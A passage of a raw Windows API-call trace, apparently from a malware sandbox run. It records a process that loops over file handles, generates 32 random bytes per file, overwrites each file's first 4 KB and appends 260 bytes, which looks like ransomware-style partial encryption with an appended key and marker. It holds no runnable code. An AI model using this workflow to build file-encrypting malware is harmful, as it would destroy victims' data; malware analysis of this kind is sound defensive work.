Size=0x8) returned 0x333ff00 [0089.314] GetProcessHeap () returned 0x540000 [0089.314] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.314] GetProcessHeap () returned 0x540000 [0089.314] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.314] GetProcessHeap () returned 0x540000 [0089.314] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.314] GetProcessHeap () returned 0x540000 [0089.314] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.314] GetProcessHeap () returned 0x540000 [0089.314] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.314] GetProcessHeap () returned 0x540000 [0089.314] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.314] GetProcessHeap () returned 0x540000 [0089.315] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.315] GetProcessHeap () returned 0x540000 [0089.315] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.315] GetProcessHeap () returned 0x540000 [0089.315] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.315] GetProcessHeap () returned 0x540000 [0089.315] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.315] GetProcessHeap () returned 0x540000 [0089.315] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.315] GetProcessHeap () returned 0x540000 [0089.315] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.315] GetProcessHeap () returned 0x540000 [0089.315] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.315] GetProcessHeap () returned 0x540000 [0089.315] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.315] GetProcessHeap () returned 0x540000 [0089.315] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.315] GetProcessHeap () returned 0x540000 [0089.315] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.315] GetProcessHeap () returned 0x540000 [0089.315] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.315] GetProcessHeap () returned 0x540000 [0089.315] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.315] GetProcessHeap () returned 0x540000 [0089.315] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.315] GetProcessHeap () returned 0x540000 [0089.315] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.315] GetProcessHeap () returned 0x540000 [0089.315] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.315] GetProcessHeap () returned 0x540000 [0089.315] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0089.315] GetProcessHeap () returned 0x540000 [0089.315] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.315] GetProcessHeap () returned 0x540000 [0089.315] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0089.315] GetProcessHeap () returned 0x540000 [0089.315] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0089.315] GetProcessHeap () returned 0x540000 [0089.315] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0089.315] GetProcessHeap () returned 0x540000 [0089.315] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0089.316] GetProcessHeap () returned 0x540000 [0089.316] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0089.316] GetProcessHeap () returned 0x540000 [0089.316] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0089.316] GetProcessHeap () returned 0x540000 [0089.316] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.316] GetProcessHeap () returned 0x540000 [0089.316] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0089.316] GetProcessHeap () returned 0x540000 [0089.316] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.316] GetProcessHeap () returned 0x540000 [0089.316] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.316] GetProcessHeap () returned 0x540000 [0089.316] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.316] GetProcessHeap () returned 0x540000 [0089.316] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.316] GetProcessHeap () returned 0x540000 [0089.316] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.316] GetProcessHeap () returned 0x540000 [0089.316] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.316] GetProcessHeap () returned 0x540000 [0089.316] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.316] GetProcessHeap () returned 0x540000 [0089.316] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.316] GetProcessHeap () returned 0x540000 [0089.316] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.316] GetProcessHeap () returned 0x540000 [0089.316] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.316] GetProcessHeap () returned 0x540000 [0089.316] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.317] GetProcessHeap () returned 0x540000 [0089.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.317] GetProcessHeap () returned 0x540000 [0089.317] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.317] GetProcessHeap () returned 0x540000 [0089.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.317] GetProcessHeap () returned 0x540000 [0089.317] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.317] GetProcessHeap () returned 0x540000 [0089.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.317] GetProcessHeap () returned 0x540000 [0089.317] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.317] GetProcessHeap () returned 0x540000 [0089.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.317] GetProcessHeap () returned 0x540000 [0089.317] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.317] GetProcessHeap () returned 0x540000 [0089.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.317] GetProcessHeap () returned 0x540000 [0089.317] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.317] GetProcessHeap () returned 0x540000 [0089.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.317] GetProcessHeap () returned 0x540000 [0089.317] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.317] GetProcessHeap () returned 0x540000 [0089.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.317] GetProcessHeap () returned 0x540000 [0089.317] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0089.317] GetProcessHeap () returned 0x540000 [0089.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.317] GetProcessHeap () returned 0x540000 [0089.318] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0089.318] GetProcessHeap () returned 0x540000 [0089.318] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0089.318] GetProcessHeap () returned 0x540000 [0089.318] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.318] GetProcessHeap () returned 0x540000 [0089.318] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0089.318] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.318] WriteFile (in: hFile=0x9f0, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0089.318] WriteFile (in: hFile=0x9f0, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0089.318] GetProcessHeap () returned 0x540000 [0089.318] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0089.318] GetProcessHeap () returned 0x540000 [0089.318] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0089.318] GetProcessHeap () returned 0x540000 [0089.318] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0089.318] CloseHandle (hObject=0x9f0) returned 1 [0089.320] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 158 [0089.320] SetFilePointerEx (in: hFile=0x9f4, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.320] ReadFile (in: hFile=0x9f4, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0089.320] SetFilePointerEx (in: hFile=0x9f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.320] GetProcessHeap () returned 0x540000 [0089.320] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0089.320] GetProcessHeap () returned 0x540000 [0089.320] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0089.320] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0089.320] GetProcessHeap () returned 0x540000 [0089.320] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0089.320] ReadFile (in: hFile=0x9f4, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0089.371] SetFilePointerEx (in: hFile=0x9f4, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.371] WriteFile (in: hFile=0x9f4, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0089.371] GetProcessHeap () returned 0x540000 [0089.371] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0089.371] GetProcessHeap () returned 0x540000 [0089.371] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.371] GetProcessHeap () returned 0x540000 [0089.371] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0089.371] GetProcessHeap () returned 0x540000 [0089.371] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.371] GetProcessHeap () returned 0x540000 [0089.371] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0089.371] GetProcessHeap () returned 0x540000 [0089.371] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.371] GetProcessHeap () returned 0x540000 [0089.371] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.371] GetProcessHeap () returned 0x540000 [0089.371] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.371] GetProcessHeap () returned 0x540000 [0089.372] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.372] GetProcessHeap () returned 0x540000 [0089.372] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.372] GetProcessHeap () returned 0x540000 [0089.372] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.372] GetProcessHeap () returned 0x540000 [0089.372] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.372] GetProcessHeap () returned 0x540000 [0089.372] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.372] GetProcessHeap () returned 0x540000 [0089.372] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.372] GetProcessHeap () returned 0x540000 [0089.372] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.372] GetProcessHeap () returned 0x540000 [0089.372] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.372] GetProcessHeap () returned 0x540000 [0089.372] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.372] GetProcessHeap () returned 0x540000 [0089.372] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.372] GetProcessHeap () returned 0x540000 [0089.372] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.372] GetProcessHeap () returned 0x540000 [0089.372] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.372] GetProcessHeap () returned 0x540000 [0089.372] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.372] GetProcessHeap () returned 0x540000 [0089.372] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.372] GetProcessHeap () returned 0x540000 [0089.372] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.372] GetProcessHeap () returned 0x540000 [0089.372] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.372] GetProcessHeap () returned 0x540000 [0089.372] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.372] GetProcessHeap () returned 0x540000 [0089.372] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.372] GetProcessHeap () returned 0x540000 [0089.372] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.372] GetProcessHeap () returned 0x540000 [0089.372] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.372] GetProcessHeap () returned 0x540000 [0089.372] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.373] GetProcessHeap () returned 0x540000 [0089.373] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.373] GetProcessHeap () returned 0x540000 [0089.373] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.373] GetProcessHeap () returned 0x540000 [0089.373] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.373] GetProcessHeap () returned 0x540000 [0089.373] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.373] GetProcessHeap () returned 0x540000 [0089.373] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.373] GetProcessHeap () returned 0x540000 [0089.373] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.373] GetProcessHeap () returned 0x540000 [0089.373] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.373] GetProcessHeap () returned 0x540000 [0089.373] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.373] GetProcessHeap () returned 0x540000 [0089.373] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.373] GetProcessHeap () returned 0x540000 [0089.373] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0089.373] GetProcessHeap () returned 0x540000 [0089.373] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.373] GetProcessHeap () returned 0x540000 [0089.373] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0089.373] GetProcessHeap () returned 0x540000 [0089.373] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0089.373] GetProcessHeap () returned 0x540000 [0089.373] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0089.373] GetProcessHeap () returned 0x540000 [0089.373] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0089.373] GetProcessHeap () returned 0x540000 [0089.373] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0089.373] GetProcessHeap () returned 0x540000 [0089.373] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0089.373] GetProcessHeap () returned 0x540000 [0089.373] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1f8) returned 0x573730 [0089.373] GetProcessHeap () returned 0x540000 [0089.373] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0089.373] GetProcessHeap () returned 0x540000 [0089.374] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.374] GetProcessHeap () returned 0x540000 [0089.374] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x573730 | out: hHeap=0x540000) returned 1 [0089.374] GetProcessHeap () returned 0x540000 [0089.374] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.374] GetProcessHeap () returned 0x540000 [0089.374] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.374] GetProcessHeap () returned 0x540000 [0089.374] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.374] GetProcessHeap () returned 0x540000 [0089.374] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.374] GetProcessHeap () returned 0x540000 [0089.374] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.374] GetProcessHeap () returned 0x540000 [0089.374] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.374] GetProcessHeap () returned 0x540000 [0089.374] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.374] GetProcessHeap () returned 0x540000 [0089.374] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.374] GetProcessHeap () returned 0x540000 [0089.374] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.374] GetProcessHeap () returned 0x540000 [0089.374] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.374] GetProcessHeap () returned 0x540000 [0089.374] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.374] GetProcessHeap () returned 0x540000 [0089.374] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.374] GetProcessHeap () returned 0x540000 [0089.374] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.375] GetProcessHeap () returned 0x540000 [0089.375] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.375] GetProcessHeap () returned 0x540000 [0089.375] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.375] GetProcessHeap () returned 0x540000 [0089.375] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.375] GetProcessHeap () returned 0x540000 [0089.375] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.375] GetProcessHeap () returned 0x540000 [0089.375] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.375] GetProcessHeap () returned 0x540000 [0089.375] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.375] GetProcessHeap () returned 0x540000 [0089.375] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.375] GetProcessHeap () returned 0x540000 [0089.375] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.375] GetProcessHeap () returned 0x540000 [0089.375] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.375] GetProcessHeap () returned 0x540000 [0089.375] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3340258 [0089.375] GetProcessHeap () returned 0x540000 [0089.375] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.375] GetProcessHeap () returned 0x540000 [0089.375] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0089.375] GetProcessHeap () returned 0x540000 [0089.375] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0089.375] GetProcessHeap () returned 0x540000 [0089.375] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.375] GetProcessHeap () returned 0x540000 [0089.375] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0089.375] SetFilePointerEx (in: hFile=0x9f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.376] WriteFile (in: hFile=0x9f4, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0089.376] WriteFile (in: hFile=0x9f4, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0089.376] GetProcessHeap () returned 0x540000 [0089.376] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0089.376] GetProcessHeap () returned 0x540000 [0089.376] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0089.376] GetProcessHeap () returned 0x540000 [0089.376] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0089.376] CloseHandle (hObject=0x9f4) returned 1 [0089.378] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 159 [0089.378] SetFilePointerEx (in: hFile=0x9f8, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.378] ReadFile (in: hFile=0x9f8, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0089.378] SetFilePointerEx (in: hFile=0x9f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.378] GetProcessHeap () returned 0x540000 [0089.378] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0089.378] GetProcessHeap () returned 0x540000 [0089.378] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0089.378] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0089.378] GetProcessHeap () returned 0x540000 [0089.378] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0089.378] ReadFile (in: hFile=0x9f8, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0089.434] SetFilePointerEx (in: hFile=0x9f8, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.435] WriteFile (in: hFile=0x9f8, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, 